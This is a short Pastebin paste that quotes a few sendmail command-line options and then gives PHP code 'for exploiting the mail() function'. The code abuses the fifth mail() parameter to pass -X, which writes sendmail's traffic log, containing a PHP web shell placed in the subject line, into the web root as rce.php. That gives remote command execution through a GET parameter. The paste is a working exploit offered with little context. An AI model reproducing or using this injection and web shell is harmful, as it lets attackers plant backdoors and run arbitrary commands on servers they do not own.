Guest User

Untitled

a guest
Aug 14th, 2015
343
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. Some interesting parameters
  2.  
  3. Quote
  4. -O option=value
  5. Set option option to the specified value. This form uses long names.
  6.  
  7. -Cfile
  8. Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
  9.  
  10. -X logfile
  11. Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
  12.  
  13.  
  14. Some interesting options
  15.  
  16. Quote
  17. QueueDirectory=queuedir
  18. Select the directory in which to queue messages.
  19.  
  20.  
  21. This is the code for exploiting the mail() function:
  22.  
  23. $subject = '<?php system($_GET["cmd"]); ?>';
  24. $message = '';
  25. $headers = '';
  26. $options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
  27. mail($to, $subject, $message, $headers, $options);
Advertisement
Add Comment
Please, Sign In to add comment